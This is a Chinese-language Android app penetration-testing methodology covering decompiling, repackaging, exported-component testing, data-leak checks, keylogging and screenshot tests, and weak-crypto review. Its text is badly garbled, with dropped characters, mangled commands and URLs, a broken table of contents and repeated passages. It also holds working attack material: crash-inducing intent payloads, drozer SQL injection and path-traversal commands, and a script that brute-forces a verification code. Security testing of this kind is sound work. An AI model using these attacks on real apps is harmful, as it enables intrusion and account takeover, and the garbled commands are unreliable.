




版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡介
AndroidAPP滲透測試方法大全2024目錄TOC\o"1-3"\h\u25914一、Android APP滲透測試方法 425068測試環(huán)境 427320客戶端程序安全測試 594382.1數(shù)字簽名檢測 517730反編譯檢測 521055應(yīng)用完整性校檢 134278debug 1621814應(yīng)用程序數(shù)據(jù)可備份 1714200應(yīng)用權(quán)限測試 1713089組件安全測試 18970敏感信息安全測試 321549密碼軟鍵盤安全性測試 399466安全策略設(shè)置測試 454033手勢密碼安全測試 563766進(jìn)程保護(hù)測試 5921033通信安全測試 623145安全增強(qiáng)測試 7416431二、附錄一:工具使用 8028311ANDROID應(yīng)用分析 8029250Android 8013064列出當(dāng)前安裝的androidAPIid 8025619android 8013000查看已有的android 8011611SD() 809473apk 8030111CLASSES.DEX 8121506反編譯為smali代碼 819042反編譯為java代碼 839321xml 842242反編譯so庫 8618120處理odex文件 869653APK 8728517簽名和優(yōu)化 872719使用apktool打包smali 903330修改已安裝apk 914823內(nèi)存獲取classes.dex 9332461AndroidHook 955437集成分析工具 962792apk編輯工具 9626403Androiddebugmonitor 978751Eclipse 9811136APKAnalyser 1028993ant編譯源代碼 10730897動(dòng)態(tài)調(diào)試 1087447使用IDApro 10829016eclipse+ADT 10924108andbug 1094375adbshell 11310637測試工具M(jìn)onkey 11313368數(shù)據(jù)庫文件查看sqlite3 1148448日志查看logcat 11522914文件列舉lsof 115992用戶切換Run-as/su 11622474截圖工具Fbtool 11714063事件操作getevent/sendevent 11819717系統(tǒng)調(diào)用記錄Strace 11925506進(jìn)程查看和監(jiān)視ps/top 12031457 12113008監(jiān)控流量iftop 1219520嗅探流量tcpdump 1221524網(wǎng)絡(luò)接口設(shè)備配置netcfg 12226799 12327485drozer組件測試工具 12529925android代理配置 12811524三、附錄二:常用測試工具以及環(huán)境平臺(tái) 13010808常用的工具 1305850android 13025959網(wǎng)絡(luò)分析工具 13014547逆向分析工具 13219462簽名工具 13218936資源編輯工具 13318868權(quán)限分析工具 13315676動(dòng)態(tài)分析工具 13311294靜態(tài)分析工具 13324056 13331765 13314642其他APK 13425652繞過SSL(Pinning) 134531在線分析 13414835常用的的測試環(huán)境平臺(tái) 13421321Android 1349243MobSF移動(dòng)App 13431770Drozer安卓App 13529164Jeb/jd-gui安卓逆向工具 13516247MemSpectorPro/DDMS/Cheatengine 1364223滲透仿真環(huán)境 13823642四、附錄三:風(fēng)險(xiǎn)等級(jí)評(píng)定 138一、Android APP滲透測試方法測試環(huán)境SDK:JavaJDK,AndroidSDK。7,2a,,apoo,IA6.,Aas,pe,dexopt-wrapper,010editor,SQLiteStudio,ApkIDE。apk工具:android組件安全測試工具,activity劫持測試工具,android擊鍵記錄測試工具,pyo,r,stor客戶端程序安全測試數(shù)字簽名檢測C:\ProgramFiles\Java\jdk1.8.0_111\bin\jarsigner.exe -verify APK文件路徑-verbose–certs當(dāng)輸出結(jié)果為“jar已驗(yàn)證”時(shí),表示簽名正常檢測簽名的CN及其他字段是否正確標(biāo)識(shí)客戶端程序的來源和發(fā)布者身份Debug如)反編譯檢測把a(bǔ)pk當(dāng)成zip并解壓,得到classes.dex文件(有時(shí)可能不止一個(gè)dex文件,但文件名大多類似)使用dex2jar執(zhí)行如下命令:classes.dex 得到classes.dex.jar然后使用jd-gui打開jar文件,即可得到JAVA代碼?!咀ⅲ褐苯邮褂胹mali2java或者APKAnalyser打開apk文件,也可反編譯回Java代碼】【注:有時(shí)用apktool能夠解包并查看smali,但dex2jar卻不行。如果dex2jar反編smali反編譯為smali代碼使用apktool工具可以對(duì)apk進(jìn)行解包。具體的解包命令格式為:apktoold[ecode][OPTS]<file.apk[<dirCQRCBank_121.apk進(jìn)行解包的命令如下。如果只需要修改smali代碼,不涉及資源文件的修改,可以在解包時(shí)加入-r選項(xiàng)(也可以直接使用asmai將x反編譯為sai代碼,見5.3,不解碼ak中的資源。如aapt報(bào)的各種錯(cuò)誤。sclasses.dex進(jìn)行反編譯。如果在5.6.1使用apktool打包smaliframework文件。可參考此處,添加framework文件。例如,添加Android4.4.2SDK中的framework文件,命令如下:解包時(shí)指定相應(yīng)的上面命令中的tag0是對(duì)添加的framework的標(biāo)記,用于標(biāo)識(shí)不同的aor解包完成后,會(huì)將結(jié)果生成在指定的輸出路徑中,其中,smali文件夾下就是最終生成的DalvikVM匯編代碼,AndroidManifest.xml文件以及res目錄下的資源文件也已被解碼。如圖:處理odex文件odex是android系統(tǒng)中對(duì)dex文件優(yōu)化后生成的文件。如果要使用上述反編譯方法,需要先將odex轉(zhuǎn)換成dex。下載sai(htps//oop/sa//system/framework/中的jar虛擬機(jī)版本可參考o(jì)dex如odex是在android4.4中生成的,就復(fù)制4.4。運(yùn)行baksmali.jar,將odex解析為smali代碼。-x選項(xiàng)表示輸入是odex文件,-d選項(xiàng)指定上個(gè)步驟中復(fù)制出來的jar文件路徑,如下圖所示。當(dāng)命令成功執(zhí)行后,在當(dāng)前目錄會(huì)創(chuàng)建一個(gè)out文件夾,里面就是smali代碼。運(yùn)行smali.jar,可生成dex反編譯so庫apk解壓縮后,將lib\armeabi\目錄下的so文件直接拖入IDA中,可以對(duì)so文件進(jìn)行靜態(tài)分析??梢钥吹絪o文件中包含的函數(shù),ARM匯編代碼,導(dǎo)入導(dǎo)出函數(shù)等信息。處理xmlapk中的xml大部分是經(jīng)過編譯的,無法直接查看和修改。如果需要查看xml文件,可以反編譯為smali代碼部分,使用apktool將整個(gè)apk解包?;蛘呤鞘褂肁XMLPrinter或APKParser工具對(duì)要查看的xml進(jìn)行解碼。如圖如果需要將修改后的xml重新打包到apk中,則可以參考5.6.1節(jié),使用apktool打xml文件的方法。對(duì)于已經(jīng)解包的aodKat(xac是akoupt.pp(,-I選項(xiàng)指定相應(yīng)版本的android.jar?!癆NDROID-SDK\build-tools\20.0.0\aapt.exe"package-f-M[apk-src\AndroidManifest.xml]-I"ANDROID-SDK\platforms\android-19\android.jar"-S[apk-src\res]-F[output.zip]注:上述aapt和android.jar的路徑為安裝androidSDKbuild-toolsrev.20,android4.4.2SDKplatform后才存在。如果沒有安裝上述版本的組件,可將路徑改為其他版本相應(yīng)的路徑。(通常較新版本的SDK出錯(cuò)的可能性會(huì)小一些。)應(yīng)用完整性校檢測試客戶端程序是否對(duì)自身完整性進(jìn)行校驗(yàn)。攻擊者能夠通過反編譯的方法在客戶端程序中植入自己的木馬,客戶端程序如果沒有自校驗(yàn)機(jī)制的話,攻擊者可能會(huì)通過篡改客戶端程序竊取手機(jī)用戶的隱私信息。用ApkTool將目標(biāo)APK文件解包,命令如下;java-jarapktool.jard-fapk文件路徑-o解包目標(biāo)文件夾隨便找一個(gè)解包目錄里的資源文件,修改之,推薦找到logo之類的圖進(jìn)行修改(;用ApkTool,將解包目錄重新打包成未簽名的APK文件,命令如下:java-jarapktool.jarb-f待打包的文件夾-o輸出apk路徑用SignApk,對(duì)未簽名的APK文件進(jìn)行簽名,命令如下:java-jarsignapk.jartestkey.x509.pemtestkey.pk8待簽名apk文件路徑簽名后輸出apk路徑將簽了名的APK安裝、運(yùn)行、確認(rèn)是否存在自校驗(yàn);需要注意的是,如果之前安裝的APK和修改后的APK簽名不同,就不能直接覆蓋安裝,一般來說,先卸載之前安裝的APP即可?!咀ⅲ篈PK必須進(jìn)行簽名后,方可安裝和運(yùn)行。如果開啟了“允許未知來源的應(yīng)Debug推薦修改apk中assets目錄下或res/raw目錄下的文件。將修改后的apk文件導(dǎo)入到/data/app目錄下,覆蓋原文件,然后重啟客戶端,觀察客戶端是否會(huì)提示被篡改debug客戶端軟件AndroidManifest.xml中的android:debuggable="true"標(biāo)記如果開啟,可被Java調(diào)試工具例如jdb進(jìn)行調(diào)試,獲取和篡改用戶敏感信息,甚至分析并且修改代碼實(shí)現(xiàn)android.util.Log檢查AndroidManifest.xml文件的debuggable屬(MobSF)-- 查是能試/MobSF/Mobile-Security-Framework-MobSF應(yīng)用程序數(shù)據(jù)可備份Android2.1以上的系統(tǒng)可為App提供應(yīng)用程序數(shù)據(jù)的備份和恢復(fù)功能,該由AndroidMainfest.xml文件中的allowBackup屬性值控制,其默認(rèn)值為true。當(dāng)該屬性沒有顯式設(shè)置為false時(shí),攻擊者可通過adbbackup和adbrestore對(duì)App的應(yīng)用數(shù)據(jù)進(jìn)行備份和恢復(fù),從而可能獲取明文存儲(chǔ)的用戶敏感信息。檢查AndroidManifest.xml文件中的allowBackup屬性(MobSF)--檢查是否顯式設(shè)置為false打開AndroidManifest.xml文件;檢查應(yīng)用AndoridManifest.xml文件中的配置是否為:android:allowBackup="true",即為allowBackup開啟,記錄漏洞,停止測試應(yīng)用權(quán)限測試應(yīng)用權(quán)限分配不合理1、使用反編譯工具反反編譯2、打開源碼后,檢查應(yīng)用AndoridManifest.xml文件,將應(yīng)用權(quán)限和業(yè)務(wù)功能需要權(quán)限做對(duì)比,檢查申請(qǐng)應(yīng)用權(quán)限是否大于業(yè)務(wù)需要權(quán)限,有即存在安全隱患。或者pythonmanitree.py-fAndroidManifest.xml組件安全測試使用ApkTool解包,打開解包目錄中AndroidManifest.xml,對(duì)其中聲明的各個(gè)組件,根據(jù)以下規(guī)則判斷是否可導(dǎo)出:顯式聲明了android:exported="true顯示聲明了android:exported="false未顯示聲明android:exported:若組件不是ContentProvider:i.若組件包含<intent-filter>則可導(dǎo)出,反之不可;若組件是ContentProvider:i.若SDK版本<則可導(dǎo)出,反之不可。由于功能需要,啟動(dòng)Activity和ContentProvider大多是導(dǎo)出組件,一般無須理會(huì)。檢查AndroidManifest.xml文件中各組件定義標(biāo)簽的安全屬性是否設(shè)置恰當(dāng)。如果組件無須跨進(jìn)程交互,則不應(yīng)設(shè)置exported屬性為true。例如,如下圖所示,當(dāng)MyService的exported屬性為true時(shí),將可以被其他應(yīng)用調(diào)用。(當(dāng)有設(shè)置權(quán)限(permissions)時(shí),需要再考察權(quán)限屬性。如android:protectionLevel為signature或signatureOrSystem時(shí),只有相同簽名的apk才能獲取權(quán)限。詳情見附錄參考資料APIGuides系統(tǒng)權(quán)限簡介)可以使用“組件安全測試工具”來檢測組件的exported屬性(有些應(yīng)用在代碼中動(dòng)態(tài))點(diǎn)擊Save按鈕可以把檢測結(jié)果保存在SD卡上如下圖所示。凡是列出來的組件都是exported屬性為true的。(可利用drozer測試工具進(jìn)行測試,工ActivityAndroid每一個(gè)Application都是由ActivityService、contentProviderBroadcast等AndroidActivityActivity。檢查AndroidManifest.xml文件中注冊(cè)的Activity(MobSF)--檢查exported屬性是否被設(shè)置為true,若是則根據(jù)業(yè)務(wù)判斷風(fēng)險(xiǎn)相關(guān)drozer命令:>run-apackagename>run app.activity.start --component com.example.package.welcome1、反編譯查看配置文件AndroidManifest.xml中activity組件(關(guān)注配置了intent-filter的及未設(shè)置export=“false”的。2、可使用工具Drozer掃描:run-apackagename3、執(zhí)行adbshell獲得一個(gè)shell,使用amstart–ncom.isi.testapp/.Welcome來啟動(dòng)Activity4activityService一個(gè)Service是沒有界面且能長時(shí)間運(yùn)行于后臺(tái)的應(yīng)用組件.其它應(yīng)用的組件可以啟動(dòng)一個(gè)serviceservice可能處檢查AndroidManifest.xml文件中注冊(cè)的Service(MobSF)--檢查有沒有export的ServiceserviceonCreate/onStarCommand/onHandleIntent檢測有沒有處理不當(dāng)?shù)姆椒z索所有類中startService/bindService方法及其傳遞的數(shù)據(jù)-- drozer>run-acom.mwr.example.sieve>run app.service.start --component BroadcastRecieverBroadcastactivityNotificationManager檢查AndroidManifest.xml文件注的Broadcast-- 查態(tài)反編譯后檢索registerReceiver()/使用drozer命令run-aAPP包名-i -- Broadcast注意索setPackage法與receiverPermission變量 -- 查發(fā)廣內(nèi)的息索sendBroadcast與sendOrderedBroadcast查看法 -- 檢是存信泄或拒服的相關(guān)drozer命:dz>run-adz> run app.broadcast.send --component ent.action.XXX1、反編譯后檢索registerReceiver(),查找動(dòng)態(tài)廣播接收器。也可以使用可使用工具Drozer掃描,命令如下:run-aandroid-i2、同時(shí)留意android:exported="true"權(quán)限的組件。3、嘗試向應(yīng)用程序的receiver組件發(fā)送空值,ambroadcast-aMyBroadcast-nContentProviderAndroidContentProviderContentProviderContentProvider文件的ContentQueryUriContentProvider的openFile()接口進(jìn)行文件目錄遍歷以達(dá)到訪問任意可讀文件的目的。在使用ContentProviderqueryquerysqlinjection檢查AndroidManifest.xml文件中注冊(cè)的ContentProvider(MobSF)--ContentProvider組件在API-17(android4.2)及以上版本由以前的exported屬性默認(rèn)ture改為默認(rèn)false使用drozer命令runvider.injection-aAPP包名測試ContentProvider--檢測是否存在SQL注入使用drozer命令runvider.traversal-aAPP包名測試ContentProvider--檢測是否存在目錄遍歷1、查看AndroidManifest.xml文件,定位各Provider,尤其是設(shè)置了android:exported="true"的。2、可使用工具Drozer掃描:run-acn.etouch.ecalendar3、可以在反編譯后使用關(guān)鍵字:addURI查找4、執(zhí)行 adb shell 獲得一個(gè) shell,使用 content query --uricontent://com.isi.contentprovider.MyProvider/udetails來查看資源內(nèi)容5、如果能夠正確訪問到共享資源,并且具備敏感信息,則記錄漏洞。IntentAndroid應(yīng)用本地拒絕服務(wù)漏洞源于程序沒有對(duì)Intent.getXXXExtracrashintent發(fā)送空數(shù)通過使用drozer工具查看對(duì)外暴露組件的應(yīng)用如下:>run–acom.mwr.example.sievegrep-rn“get*Extra”./|more(導(dǎo)組代碼測) -- 檢在取intent數(shù)據(jù)時(shí)是否進(jìn)行了異常處理1、使用反編譯工具打開應(yīng)用,反編譯出應(yīng)用源碼。2(tAtioIntenti=newIntent();if(i.getAction().equals("TestForNullPointerException")){Log.d("TAG","TestforAndroidRefuseServiceBug");}3、如出現(xiàn)像以上代碼,getIntent()的intent附帶空數(shù)據(jù)、異?;蚧螖?shù)據(jù),而且處理getXXXExtra()獲取的數(shù)據(jù)時(shí)沒有進(jìn)行異常捕獲,便存在風(fēng)險(xiǎn)。4、可使用adbshell驗(yàn)證:adbshellamstart-ncom.xxx.xxx.pocforrefuseservice/.MainActivity5、如果服務(wù)端出現(xiàn)崩潰界面,則可以證明漏洞存在。記錄漏洞,停止測試6、同樣可以造成本地拒絕服務(wù)的有:ClassNotFoundException異常導(dǎo)致的拒絕服務(wù)源于程序沒有無法找到從getSerializableExtra()獲取到的序列化類對(duì)象的類定義,因此發(fā)生類未定義的異常而導(dǎo)致應(yīng)用崩潰。Intenti=getIntent();getSerializableExtra("serializable_key");攻擊應(yīng)用代碼片段:Intenti=newIntent();i.setClassName("com.alibaba.jaq.pocforrefuseservice","com.alibaba.jaq.pocforrefuseservice.MainActivity");i.putExtra("serializable_key",BigInteger.valueOf(1));startActivity(i);7、IndexOutOfBoundsException異常導(dǎo)致的拒絕服務(wù)源于程序沒有對(duì)getIntegerArrayListExtra()等獲取到的數(shù)據(jù)數(shù)組元素大小的判斷,從而導(dǎo)致數(shù)組訪問越界而導(dǎo)致應(yīng)用崩潰;漏洞應(yīng)用代碼片段:Intentintent=getIntent();ArrayList<Integer>intArray=intent.getIntegerArrayListExtra("user_id");if(intArray!=null){for(inti=0;i<USER_NUM;i++){intArray.get(i);}}攻擊應(yīng)用代碼片段:Intentintent=newIntent();intent.setClassName("com.alibaba.jaq.pocforrefuseservice","com.alibaba.jaq.pocforrefuseservice.MainActivity");ArrayList<Integer>user_id=newArrayList<Integer>();intent.putExtra("user_id",user_id);startActivity(intent);)8、ClassNotFoundException異常導(dǎo)致的拒絕服務(wù)源于程序沒有無法找到從getSerializableExtra()獲取到的序列化類對(duì)象的類定義,因此發(fā)生類未定義的異常而導(dǎo)致應(yīng)用崩潰。漏洞應(yīng)用代碼片段:Intenti=getIntent();i.getSerializableExtra("serializable_key");攻擊應(yīng)用代碼片段:publicvoidonCreate(BundlesavedInstanceState){super.onCreate(savedInstanceState);setContentView(R.layout.main);Intenti=newIntent();i.setClassName("com.alibaba.jaq.pocforrefuseservice","com.alibaba.jaq.pocforrefuseservice.MainActivity");i.putExtra("serializable_key",newSelfSerializableData());startActivity(i);}static classSelfSerializableDataimplementsSerializable{staticfinallongserialVersionUID=42L;publicSelfSerializableData(){super();}}webview組件安全Anod4.2版本以下的w組件存在安全漏洞(V226。檢測客戶端AndroidManifest.xml中的targetSdkVersion是否大于等于17。或者使用測試網(wǎng)頁進(jìn)行測試(騰訊的測試頁面鏈接,在被測應(yīng)用中打開即可。\hecurienceckyceck_llWebViewandroidWebView.addJavascriptInterfaceJavaScriptJavaScriptJavaScriptWebview代碼執(zhí)行漏洞出現(xiàn)在安卓2.1~4.3.1版本,檢查targetSdkVersiontargetsdkVersion>=19行(可使用相關(guān)檢測代碼,檢查代碼中是否使用addJavascriptInterface()相關(guān)drozer命令:>runscanner.misc.checkjavascriptbridge-a包名1、使用反編譯工具打開應(yīng)用,反編譯出應(yīng)用源碼。2、在源碼中搜索類似寫法:settings.setJavaScriptEnabled(true);settings.setJavaScriptCanOpenWindowsAutomatically(true);mWebView.addJavascriptInterface(newJSInvokeClass(),"js2java");3、那么該處就可能存在Web組件遠(yuǎn)程代碼執(zhí)行的風(fēng)險(xiǎn)。4、也可在應(yīng)用中訪問webview檢測頁面(自行搭建或者利用現(xiàn)成頁面:\hhttp//ps.y./v.tlw5、如果存在該風(fēng)險(xiǎn),將會(huì)在改頁面中顯示出存在問題的接口,記錄漏洞,停止測試WebViewandroid/webkit/SslErrorHandlerproceedonsrohos((在w)WebView在使用WebView的過程中忽略了WebViewsetSavePassword,當(dāng)用戶選擇保存在WebView中輸入的用戶名和密碼,則會(huì)被明文保存到應(yīng)用數(shù)據(jù)目錄的databases/webview.db中。如果手機(jī)被rootasdfase在vw)組件通信分析mercury查看那APPmercuryAPPContentProviderSQL注入,文件目錄遍歷命令方法:runapp.package.listuid,gid,permissionsrun-acom.android.browser3APP中的activityrun-acom.android.browser4APP中的servicerun-acom.android.browser5.列出APP中的ContentProvider組件run-acom.android.browser6.查找可以讀取的ContentProvider的URIrunvider.finduris-acom.sina.weibo7.讀取ContentProvider指定URI中的內(nèi)容run vider.query content://settings/secure name='adb_enabled'8.掃描是否存在contentprovider目錄遍歷的漏洞run-a 9contentproviderrunvider.readcontent://com.mwri.fileEncryptor.localfile/system/etc/hosts/10.掃描是否存在SQL注入runvider.injection-acom.android.browser11.利用SQL注入runvider.querycontent://com.example.bsideschallenge.evilPlannerdb--projection*fromcards--12.查看指定包的AndroidManifest.xmlrunapp.package.manifestcom.example.bsidechallenge13.查看指定包的AndroidManifest.xmlrunapp.package.manifestcom.example.bsidechallenge敏感信息安全測試數(shù)據(jù)文件對(duì)aodaod此私有目錄通常位于“/aa/a)首先查看相關(guān)文件的權(quán)限配置。正常的文件權(quán)限最后三位應(yīng)為空(類似“rw-rw”(rwxrwx—x”baod)注意:當(dāng)客戶端使用MODE_WORLD_READABLE或MODE_WORLD_WRITEABLE模式創(chuàng)建文件時(shí),shared_prefs目錄下文件的權(quán)限也會(huì)多出一些,這不一定是安全問oe:SharedPreferences配置文件權(quán)限檢測完整后,再檢查客戶端程序存儲(chǔ)在手機(jī)中的SharedPreferences配置文件,通常是對(duì)本目錄下的文件內(nèi)容(一般是xml)進(jìn)行檢查,看是否包含敏感信息。SQLite數(shù)據(jù)庫文件最后在檢測SQLite數(shù)據(jù)庫文件,在私有目錄及其子目錄下查找以.db結(jié)尾的數(shù)據(jù)庫文件。對(duì)于使用了webView緩存的應(yīng)用,會(huì)在databases子目錄中保存webview.db和webviewCache.db,如圖所示。其中有可能會(huì)記錄cookies和提交表單等信息用數(shù)據(jù)庫查看工具即可查看這些文件中是否有敏感信息。檢查客戶端程序apk還有些時(shí)候,客戶端程序apk包中也是是保存有敏感信息的,比如檢查apk包中各(反編譯so庫和5.逆向classes.dex,檢查apk接使用16。如下圖APP的相關(guān)編碼信息將應(yīng)用存檔文件下載到PC機(jī)上,使用相應(yīng)格式的編輯器進(jìn)行操作adbpull/data/data/ctrip.android.view/[文件名]e:/[文件名]adbpull/sdcard/CTRIP/[文件名]e:/[文件名]在應(yīng)用的私有目錄以及SD卡中包含應(yīng)用名稱的子目錄中進(jìn)行遍歷,檢查是否有包含敏感信息的文件。查找應(yīng)用和文件IO相關(guān)的系統(tǒng)調(diào)用(如open,read,re(base64)或者使用Dexter在線檢測環(huán)境(或sanddroid)來做,如圖所示,Exported為對(duì)號(hào)的是已經(jīng)導(dǎo)出的組件,可能存在安全問題。(注意:Dexter對(duì)ContentProvider判斷不一定準(zhǔn)確。)注意:不是所有導(dǎo)出的組件都是不安全的,如需確定須看代碼,對(duì)代碼邏輯進(jìn)行分析通過閱讀代碼確定是否安全于AndroidSDK中對(duì)exported屬性的默認(rèn)設(shè)置說明:對(duì)serviceactivity,當(dāng)沒有指定exportedexported設(shè)置為falseexported為true于等于16時(shí),默認(rèn)exported為true,大于16時(shí),默認(rèn)為false某些廣播如ent.action.BOOT_COMPLETED是例外)logcat檢查客戶端程序存儲(chǔ)在手機(jī)中的日志。MemSpcetor中提供了搜索功能,可以將內(nèi)存DUMP到SD卡(注意,虛擬機(jī)得先配置D卡ab或onr在這里使用ADB進(jìn)行查看。使用adb工具連接設(shè)備:adbdevices//查看安卓設(shè)備列表adb-s設(shè)備名稱其它命令//當(dāng)連接了多個(gè)設(shè)備時(shí),選擇操作的目標(biāo)設(shè)備,否則會(huì)出錯(cuò)adbpull手機(jī)目錄名PC目錄名//從安卓設(shè)備中復(fù)制文件到電腦中然后使用WinHex打開這是查看內(nèi)存遺留的信息,還可以直接使用adb查詢logcat日志:在adbshell中,有下列命令可用:logcat//持續(xù)輸出日志,直到Ctrl+Clogcat-d//一次性輸出日志緩存,不會(huì)阻塞logcat-c//清空日志緩存查看1.txt:并未發(fā)現(xiàn)有敏感的信息。1、安裝應(yīng)用后,對(duì)應(yīng)用進(jìn)行使用。2、同時(shí)使用androidSDK中的%ANDROID%/tools/monitor.bat捕獲輸出的日志,3、如果輸出的日志中包含敏感信息,記錄漏洞,停止測試。密碼軟鍵盤安全性測試鍵盤劫持常來說,只有使用系統(tǒng)輸入法的編輯框才能夠進(jìn)行鍵盤碼記錄。如果是自制的軟鍵盤,則可以嘗試進(jìn)行觸摸屏記錄。像下圖這樣,不使用系統(tǒng)輸入法,且按鍵隨機(jī)分布的軟鍵盤是安全的.(s_yoakAP入框長按空格,選擇我們的測試鍵盤,使用logcat/DDMS查看測試鍵盤記錄--查看APP。安裝android擊鍵記錄測試工具。然后在“語言和鍵盤設(shè)置”中選擇ape ftydtho下圖是書寫短信息時(shí),使用軟鍵盤輸入,在logcat日志中可以看到所有的擊鍵隨機(jī)布局軟鍵盤測試客戶端實(shí)現(xiàn)的軟鍵盤,是否滿足鍵位隨機(jī)布放要求當(dāng)客戶端軟鍵盤未進(jìn)行隨機(jī)化處理時(shí)為低風(fēng)險(xiǎn);當(dāng)客戶端軟鍵盤只在某一個(gè)頁面載入時(shí)初始化一次而不是在點(diǎn)擊輸入框時(shí)重新進(jìn)行隨機(jī)化也為低風(fēng)險(xiǎn)屏幕錄像使用ADB進(jìn)行測試:adbshell/system/bin/screencap-p輸出png路徑(安卓設(shè)備中)在/mnt/sdcard/路徑下,可以看到1a.png:打開:還有一種驗(yàn)證方式是從代碼方面進(jìn)行驗(yàn)證:安裝卓屏截程序or233.4apk,連截取幕容 - 測試否錄APP軟盤(需較安性窗(密碼入看碼窗口載是否開啟FLAG_SECURE,開啟該選項(xiàng)的窗口不能被截屏使用現(xiàn)有的android代碼。按照androidSDK的要求,開啟FLAG_SECURE選項(xiàng)的窗口不能被截屏注意:FLAG_SECURE可能存在兼容性問題,能否防護(hù)截圖可能與硬件有關(guān)。目前FLAG_SECURE測試結(jié)果:N-PASS,可截圖,ZTE880E,可截圖ASUS TF300T,可阻止工具及ddms截圖)系統(tǒng)底層擊鍵記錄擁有root權(quán)限后,安卓木馬可以通過讀取系統(tǒng)文件/dev/input/eventN得到鍵盤碼,從而獲得用戶輸入。注意:目前很多android系統(tǒng)不再向event文件輸出鍵盤碼,如需測試需先確定鍵盤輸入對(duì)應(yīng)的event文件是否存在。運(yùn)行客戶端,在輸入密碼的同時(shí),在shell中使用命令行監(jiān)控輸入。安全策略設(shè)置測試密碼復(fù)雜度檢測測試客戶端程序是否檢查用戶輸入的密碼強(qiáng)度,禁止用戶設(shè)置弱口令人工測試,嘗試將密碼修改為弱口令,如:123456,654321,121212,888888等,查看客戶端是否拒絕弱口令。也可以閱讀逆向后的客戶端java代碼,尋找對(duì)用戶輸入口令的檢查方法。閱讀逆向后的客戶端java代碼,尋找對(duì)用戶輸入口令的檢查方法。賬號(hào)登錄限制測試一個(gè)帳號(hào)是否可以同時(shí)在多個(gè)設(shè)備上成功登錄客戶端,進(jìn)行操作。賬戶鎖定策略測試客戶端是否限制登錄嘗試次數(shù)。防止木馬使用窮舉法暴力破解用戶密碼。私密問題驗(yàn)證測試對(duì)賬號(hào)某些信息(如單次支付限額)的修改是否有私密問題驗(yàn)證。私密問題驗(yàn)證是否將問題和答案一一對(duì)應(yīng)。私密問題是否足夠私密會(huì)話安全設(shè)置測試客戶端在超過20分鐘無操作后,是否會(huì)使會(huì)話超時(shí)并要求重新登錄。超時(shí)時(shí)間設(shè)置是否合理。一段時(shí)間無操作 -- 檢測應(yīng)用是否要求用戶重新登陸退出應(yīng)用再打開 -- 檢測應(yīng)用否要用登。界面切換保護(hù)會(huì)話。人工檢測。在登錄界面(或者轉(zhuǎn)賬界面等涉及密碼的功能)填寫登錄名和密碼,然后切出,再進(jìn)入客戶端,看輸入的登錄名和密碼是否清除。登錄后切出,5分鐘內(nèi)自動(dòng)退出為安全。輸入陸碼換其他用再換來 -- 測否將戶的密等感信息空陸后切到其應(yīng),一時(shí)切換來 -- 檢測當(dāng)前會(huì)話是否退出UI檢查客戶端的各種功能,看是否存在敏感信息泄露問題。人工測試。使用錯(cuò)誤的登錄名或密碼登錄,看客戶端提示是否不同。在顯示卡號(hào)等敏感信息時(shí)是否進(jìn)行部分遮擋。查看APP界面 -- 測是對(duì)戶真姓、身證、行號(hào)手機(jī)等行適當(dāng)擋驗(yàn)證碼安全觀察驗(yàn)證碼組成,若簡單,可以嘗試使用PKAVHttpFuzzer的驗(yàn)證碼識(shí)別工具進(jìn)行識(shí)別也可以使用其它的驗(yàn)證碼識(shí)別工具(:#coding=utf-8importrequestsimportres=requests.Session()url_1='https://‘/web/login.jsp’re=s.get(url_1,verify=False)fornumberinrange(10000):url_2='/web/inc/CRrand.jsp?rand='+str(number).zfill(4)s.cookies.set('JSESSIONID','9E426F03658582FE9CD5BF3725CFB444',path='/web/',domain='')req=s.get(url_2,verify=False)result=req.textprint'[*]Tryingfor'+str(number).zfill(4)print'[*]Return:'+result.strip('\n')print'[*]Requesturl:'+url_2if'1'inreq.text:print'**************************************'print'**************************************'print'[*]Thecodeis:'+str(number)print'**************************************'print'**************************************'break也可以成功的驗(yàn)證爆破:安全退出檢查客戶端在退出時(shí),是否向服務(wù)端發(fā)送終止會(huì)話請(qǐng)求??蛻舳送顺龊?,還能否使用退出前的會(huì)話id訪問登錄后才能訪問的頁面。在客端出號(hào)后繼續(xù)用前話進(jìn)操作 -- 檢戶登后話token是否在服務(wù)端被正確銷毀密碼修改驗(yàn)證嘗試修密時(shí)用誤的密碼 -- 測務(wù)端否證密的確性Activity檢查是否存在activity劫持風(fēng)險(xiǎn),確認(rèn)客戶端是否能夠發(fā)現(xiàn)并提示用戶存在劫持安裝HijackActivity.apk,使用activity界面劫持工具,在工具中指定要劫持的應(yīng)用進(jìn)程名稱(進(jìn)程查看和監(jiān)視s/op。如圖所示,從列表中選擇被測試的應(yīng)用,點(diǎn)擊OK。打登錄界面設(shè)計(jì)檢查移動(dòng)客戶端的各種功能,看是否存在敏感信息泄露問題試使不在用名陸嘗使存的戶及錯(cuò)密登陸 -- 測是可界面示行戶枚舉弱加密算法審查1、使用反編譯工具進(jìn)行反編譯2DESSecretKeySpeckey=newSecretKeySpec(rawKeyData,"DES");Ciphercipher=Cipher.getInstance("DES/ECB/PKCS5Padding");cipher.init(Cipher.DECRYPT_MODE,key);審查代碼中以下點(diǎn)3、RSA中不使用Padding:使用RSA公鑰時(shí)通常會(huì)綁定一個(gè)padding,原因是為了防止一些依賴于nopadding時(shí)對(duì)RSA算法的攻擊。風(fēng)險(xiǎn)代碼樣例:Cipherrsa=null;try{rsa=javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");}catch(java.security.NoSuchAlgorithmExceptione){}catch(javax.crypto.NoSuchPaddingExceptione){}SecretKeySpec=newSecretKeySpec(rawKeyData,"RSA");Ciphercipher=Cipher.getInstance("RSA/NONE/NoPadding");key);4、沒有安全的初始化向量初始化向量時(shí),使用了硬編碼到程序的常量。風(fēng)險(xiǎn)代碼樣例:byte[]iv={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};IvParameterSpecips=newIvParameterSpec(iv)5、使用了不安全的加密模式SecretKeySpeckey=newSecretKeySpec(keyBytes,"AES");Ciphercipher=Cipher.getInstance("AES/ECB/PKCS7Padding","BC");cipher.init(Cipher.ENCRYPT_MODE,key);6、使用了不安全的密鑰長度publicstaticKeyPairgetRSAKey()throwsNoSuchAlgorithmException{KeyPairGeneratorkeyGen=KeyPairGenerator.getInstance("RSA");keyGen.initialize(512);KeyPairkey=keyGen.generateKeyPair();returnkey;}應(yīng)用權(quán)限測試1、使用反編譯工具反反編譯2、打開源碼后,檢查應(yīng)用AndoridManifest.xml文件,將應(yīng)用權(quán)限和業(yè)務(wù)功能需要權(quán)限做對(duì)比,檢查申請(qǐng)應(yīng)用權(quán)限是否大于業(yè)務(wù)